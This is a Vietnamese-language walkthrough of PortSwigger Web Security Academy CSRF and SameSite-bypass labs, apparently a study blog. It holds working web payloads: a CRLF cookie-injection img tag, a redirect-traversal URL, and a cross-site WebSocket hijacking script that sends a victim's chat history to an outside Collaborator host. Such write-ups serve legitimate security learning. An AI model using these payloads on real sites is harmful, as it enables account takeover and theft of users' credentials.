# WEB08: CSRF
## Lab: CSRF vulnerability with no defenses
```!
This lab's email change functionality is vulnerable to CSRF.
To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address and upload it to your exploit server.
You can log in to your own account using the following credentials: wiener:peter
```
Bài lab này bị lỗi csrf ở tính năng change email, ở request dùng cho tính năng này ta thực hiện Generate CSRF POC
Và Add option auto submit script để html form được tự động submit
Cấu hình exploit server để Store exploit:
Sau đó Delivery payload to victim và solve
## Lab: CSRF where token validation depends on request method
```!
This lab's email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You can log in to your own account using the following credentials: wiener:peter
```
Khác với bài lab trước, ở bài này khi muốn change email phải gửi kèm csrf token
Và giá trị này là random đối với mỗi request, tuy nhiên nếu ta đổi thành GET request thì server không hề kiểm tra giá trị của csrf token nữa
-> Change email với GET request thành công
## Lab: CSRF where token validation depends on token being present
```!
This lab's email change functionality is vulnerable to CSRF.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You can log in to your own account using the following credentials: wiener:peter
```
Ở bài này, POST request dùng để change email vẫn cần đính kèm csrf token. Tuy nhiên nếu ta bỏ đi trường `csrf` thì sao ?
=> Vẫn change email thành công => Server chỉ check csrf token nếu nó tồn tại trong request
Vậy chỉ cần bỏ đi field `csrf` là có thể khai thác CSRF
Gen CSRF POC, cấu hình exploit server và delivery payload
Solve
## Lab: CSRF where token is not tied to user session
```!
This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't integrated into the site's session handling system.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You have two accounts on the application that you can use to help design your attack. The credentials are as follows:
- wiener:peter
- carlos:montoya
```
Login vào `wiener` account bằng chronium của burp, sau đó bật intercept và bắt request change email:
Dùng trình duyệt khác login vào account `carlos`, và lấy csrf token khi `GET /my-account`
Sau đó copy và paste token này vào request đang được intercept
=> Change email thành công
Ta có thể hiểu đó là, csrf token này không được triển khai đúng cách mà cụ thể là không gắn với user session. Server sẽ giữ một pool các token đã issue (chưa được sử dụng) và request sẽ hợp lệ nếu csrf gửi kèm trong request thuộc pool đó, vì vậy có thể khai thác CSRF bằng cách lấy CSRF token của attacker và dính vào input của html form.
Bước 1: Lấy token của attacker (`wierner`)
Bước 2: Setup exploit server
Và solve bài lab
## Lab: CSRF where token is tied to non-session cookie
```!
This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't fully integrated into the site's session handling system.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You have two accounts on the application that you can use to help design your attack. The credentials are as follows:
- wiener:peter
- carlos:montoya
```
Sau khi thử login vào account `wiener`, ta sẽ thấy có 2 cookie là `csrfKey` và `session`
-> Có thể đoán được server sử dụng hai framework khác nhau cho việc quản lí session và triển khai csrf
Tiếp theo, bật intercept và bắt request change email ở account `wiener`
Sau đó login vào account `carlos` và lấy giá trị của cookie `csrfKey` và csrf token tại `/my-account`
Trở lại với request đang được intercept, ta chỉnh lại các field cho ứng với account `carlos`
Change email thành công:
Vậy ý tưởng khai thác sẽ là thay đổi cookie `csrfKey` và giá trị csrf token của victim thành của attacker
Bài lab này có thêm tính năng search, và tồn tại lỗi CRLF tại chức năng này
=> Có thể lợi dụng để đổi cookie victim với
`<img src = "https://0ae5008804800d7cc1d23f16000100c6.web-security-academy.net/?search=aaaaaaaa%0d%0aSet-Cookie:%20csrfKey%3dL0s3hXGvfNkLfAoHR6kL1v5A1z4XU8Dc;SameSite%3dNone;">`
Setup exploit server
Và solve bài lab
## Lab: CSRF where token is duplicated in cookie
```!
This lab's email change functionality is vulnerable to CSRF. It attempts to use the insecure "double submit" CSRF prevention technique.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You can log in to your own account using the following credentials: wiener:peter
```
Ở bài lab này, server check csrf token ở request param với giá trị được lưu trong cookie
Và vẫn lợi dụng CSRF ở tính năng search như lab trước
Setup exploit server:
Delivery to victim và solved
## Lab: CSRF where Referer validation depends on header being present
```!
This lab's email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You can log in to your own account using the following credentials: wiener:peter
```
Bài lab này sử dụng Referer header để validate ngăn chặn csrf. Tuy nhiên nếu header này không tồn tại, việc kiểm tra sẽ được bỏ qua vì vậy ý tưởng sẽ là làm cho http request không bao gồm header này
-> `<meta name="referrer" content="never">`
Việc còn lại chỉ là gen ra csrf POC như nãy giờ và delivery to victim
Kết quả:
## Lab: CSRF with broken Referer validation
```!
This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You can log in to your own account using the following credentials: wiener:peter
```
Bài lab này server không sử dụng csrf token mà thay vào đó là sử dụng giá trị từ `Referer` header để kiểm tra request
Tuy nhiên có vẻ như bên phía server chỉ check nếu hostname của trang web nằm trong `Referer` header thì được xem là hợp lệ:
Vậy ý tưởng sẽ là setup exploit server với csrf form và điểu khiển giá trị của trường `Referer` bằng cách thay đổi history của window (tham khảo blog sau <https://www.trustedsec.com/blog/setting-the-referer-header-using-javascript/>)
Setup exploit server
Solve bài lab
## Lab: SameSite Lax bypass via method override
```!
This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.
You can log in to your own account using the following credentials: wiener:peter
```
Ở bài lab này, mặc định thuộc tính SameSite không được set nên sẽ có security level là Lax, ta có thể bypass để khai thác csrf dễ dàng với GET request. Tuy nhiên khi thử thay đổi method của request change email thành GET thì server trả về lỗi:
Tuy nhiên đối với các web sử dụng Symfony, có thể dùng param `_method` để overide request
Và ... change email thành công
Setup exploit server
Kết quả:
## Lab: SameSite Strict bypass via client-side redirect
```!
This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.
You can log in to your own account using the following credentials: wiener:peter
```
Ngay sau khi Post comment, có một đoạn JS sẽ được gọi khi ta ấn Back to blog
Hàm xử lí là `redirectOnConfirmation`:
Hàm này thực hiện redirect về lại bài post có id lấy từ GET param `postId`
=> Ta có thể tận dụng lỗi redirect ở đây để bypass SameSite Strict
Dùng `../` để traveral từ `/post` về đúng endpoint cần thiết, payload
```!
window.location = "https://0a2d008a0486cba9c178ffeb00fd00c9.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email%3Femail%3dadc%40gmail.com%26submit=1";
```
Cũng như bài lab trước, ta có thể change email với request method là GET thay vì POST
Setup exploit server
Solve bài lab
## Lab: SameSite Strict bypass via sibling domain
```!
This lab's live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim's account.
To do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim's chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.
If you haven't done so already, we recommend completing our topic on WebSocket vulnerabilities before attempting this lab.
```
Ở bài lab này, ta sẽ khai thác [CSWSH](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) để đọc chat history và login vào account của victim.
Trang web có chức năng `Live chat` sử dụng websocket
Khi F5, message `READY` sẽ được gửi đến bên phía server, và server sẽ phản hồi lại chat history để hiển thị bên phía client.
Nếu ta setup exploit page như sau
```htmlembedded
<script>
var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
navigator.sendBeacon('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', event.data);
};
</script>
```
sau đó `View exploit`, có thể thấy lúc này chat history nhận được không phải là cái hiện tại của ta mà là ứng với một session mới. Check qua HTTP history, tại `GET /chat` thấy rằng cookie không được gửi kèm trong request và bên phía response, server set cookie mới với security level `SameSite=Strict`
Vậy bằng cách nào đó, ta cần bypass được cơ chế này mà cụ thể là sẽ phải chain với một bug khác.
Sau khi check qua một lượt các HTTP history, ta thấy resopnse của request để lấy resource image có response header `Access-Control-Allow-Origin` và trỏ đến một sibling domain `cms-0ac700130487717dc083efce00df008b.web-security-academy.net`
Access đến domain này, ta thấy một trang login
Và điểm đặc biệt đó là, ta có thể dùng GET hoặc POST method để gửi dữ liệu lên server. Bên cạnh đó vì trang này reflect username vào response (khi username `invalid`) => lỗi XSS
-> Ý tưởng khai thác: lợi dụng XSS ở sibling domain này để thực thi đoạn code JS lấy chat history ở trên. Vì lúc này cả hai domain `0ac700130487717dc083efce00df008b.web-security-academy.net` và `cms-0ac700130487717dc083efce00df008b.web-security-academy.net` đều được xem là "same-site" (có chung eTLD+1 - `web-security-academy.net`) nên cookie sẽ được gửi kèm trong request => bypass
*Exploit*
URL encode đoạn mã JS lấy history
Setup exploit server
Lấy được username và password của victim
Login vào account `carlos` và solve bài lab
## Lab: SameSite Lax bypass via cookie refresh
```!
This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.
The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter
```
[Tham khảo](https://medium.com/@renwa/bypass-samesite-cookies-default-to-lax-and-get-csrf-343ba09b9f2b)
Trang web này, khi ta ấn vào My account sẽ được chuyển hướng đến trang login dựa vào OAuth:
Ấn sign-in sau đó check http history, ta thấy đối với các request có dạng `GET /oauth-callback?code=...` cookie đều sẽ được set nhưng bởi vì không chỉ định SameSite -> mang giá trị là Lax
Để khai thác CSRF, ta sẽ cần trigger POST top-level navigation trong vòng 2 phút kể từ khi cookie thay đổi (hoặc mới được cấp phát).
Một điểm nữa, khi ta ấn vào `My-account`, sẽ có một GET request đến `/social-login`, nếu session đối với OAuth server vẫn tồn tại thì luồng flow xác thực OAuth sẽ được tự động diễn ra, hay nói cách khác chỉ cần gửi GET request đến `/social-login` thì sau một vài giây cookie sẽ được set.
Vậy ý tưởng khai thác sẽ là, setup exploit server: một đoạn mã JS sử dụng `window.open()` để trigger `GET /social-login` -> cookie được set, sau đó vẫn ở exploit server lợi dụng `setTimeout()` function để CSRF change email. **Sử dụng window.onclick để vượt qua cơ chế bảo vệ của trình duyệt**
Setup exploit server
Solve bài lab
###### tags: `portswigger`
Sign in with Wallet
Connect another wallet